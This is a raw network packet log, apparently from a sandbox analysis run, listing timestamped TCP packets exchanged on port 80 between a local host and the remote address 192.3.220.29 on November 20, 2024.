Nov 20, 2024 17:18:46.197078943 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.264938116 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.265018940 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.265075922 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.266071081 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.266171932 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.266227961 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.268397093 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.268999100 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.269198895 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.270828962 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.271212101 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.271258116 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.276751995 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.276771069 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.276819944 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.276835918 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.276864052 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.276901960 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.278295994 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.278824091 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.278942108 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.281407118 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.281765938 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.281845093 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.283344984 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.283683062 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.283750057 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.285826921 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.285846949 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.285903931 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.287682056 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.287770033 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.287949085 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.289724112 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.289895058 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.290024042 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.291881084 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.292047024 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.292133093 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.293772936 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.293952942 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.294153929 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.295694113 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.295912981 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.296010017 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.297743082 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.297918081 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.297971964 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.299577951 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.299918890 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.300067902 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.301690102 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.301871061 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.301920891 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.303380966 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.303559065 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.303634882 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.305318117 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.305658102 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.305819988 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.307131052 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.307308912 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.307363033 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.309007883 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.309020042 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.309087038 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.309534073 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.309546947 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.309602022 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.311239958 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.311500072 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.311602116 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.312891006 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.314439058 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.314500093 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.314764023 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.315129042 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.315216064 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.318803072 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.319528103 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.319720984 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.320336103 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.320413113 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.320477962 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.321501017 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.321515083 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.321569920 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.323327065 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.323509932 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.323553085 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.324032068 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.324404001 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.324450970 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.324913979 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.325279951 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.325493097 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.325990915 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.326364040 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.326483011 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.326857090 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.327474117 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.327532053 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.327713013 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.328049898 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.328167915 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.329281092 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.329456091 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.329543114 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.329619884 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.329632044 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.329678059 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.330588102 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.330600977 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.330663919 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.331427097 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.331572056 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.331619024 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.332360029 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.332372904 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.332432032 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.333357096 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.333709002 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.333857059 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.334197998 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.334209919 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.334261894 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.335052967 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.335232019 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.335302114 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.335910082 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.336031914 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.336044073 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.336055994 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.336092949 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.336131096 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.336201906 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.336608887 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.336673021 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.337137938 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.337927103 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.337996960 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.338087082 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.338099957 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.338162899 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.338979006 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.339140892 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.339229107 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.339837074 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.339953899 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.340013027 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.340754032 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.341681957 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.341694117 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.341705084 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.341746092 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.341746092 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.342622995 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.342894077 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.342988014 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.343483925 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.390877962 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.458686113 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.458869934 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.458950043 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.458988905 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.459361076 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.459542036 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.460237980 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.460395098 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.460493088 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.461234093 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.461247921 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.461302996 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.461899042 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.462270021 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.462341070 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.463109970 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.463334084 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.463395119 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.464040995 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.464054108 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.464112043 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.464967012 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.464979887 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.465019941 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.465658903 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.466037035 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.466206074 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.466741085 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.466754913 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.467080116 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.467614889 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.467797995 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.467966080 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.468493938 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.469022989 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.469192982 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.469568968 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.469722033 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.469794035 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.470412016 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.470635891 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.470699072 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.471319914 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.471337080 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.471446037 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.472341061 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.472524881 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.472676992 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.473226070 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.473238945 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.473395109 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.474107027 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.474284887 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.474488020 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.474967003 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.475858927 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.475871086 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.476026058 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.476054907 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.476072073 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.476882935 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.477232933 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.477289915 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.477793932 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.478490114 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.478538990 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.478663921 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.478676081 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.478799105 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.479501009 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.479677916 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.479860067 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.480561972 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.480576038 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.480643988 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.481616974 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.481785059 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.481980085 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.482321024 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.482480049 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.482536077 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.483227968 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.483407974 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.483552933 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.484088898 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.484426022 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.484483004 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.485177040 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.485353947 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.485415936 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.486071110 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.486252069 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.486458063 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.486932039 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.487143993 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.487334967 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.487838984 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.487852097 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.487927914 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.488692999 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.489058971 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.489168882 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.489722013 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.489916086 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.489965916 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.490608931 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.490830898 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.490843058 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.490854979 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.490865946 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.490879059 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.490902901 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.490926027 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.491399050 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.491482019 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.491585016 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.492325068 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.492460966 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.492600918 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.493268967 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.493325949 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.493421078 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.494170904 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.494338989 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.494422913 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.495121956 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.495136023 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.495280027 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.496048927 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.496400118 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.496464968 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.496893883 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.497029066 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.497575045 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.497894049 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.498373032 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.498445034 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.498701096 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.498928070 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.499061108 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.499656916 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.503436089 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.503612041 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.504554987 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.504568100 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.504580975 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.504592896 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.504606009 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.504614115 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.504642963 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.504693031 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.504847050 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.505177021 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.505520105 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.505714893 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.506217003 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.506398916 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.506479025 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.507085085 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.547159910 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.652683973 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.652806997 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.652853012 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.652967930 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.653244019 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.653291941 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.653774977 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.654411077 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.654515982 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.654725075 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.655554056 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.655565023 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.655612946 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.655982018 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.656042099 CET	49765	80	192.168.2.7	192.3.220.29
Nov 20, 2024 17:18:46.656595945 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.656934977 CET	80	49765	192.3.220.29	192.168.2.7
Nov 20, 2024 17:18:46.656987906 CET	49765	80	192.168.2.7	192.3.220.29
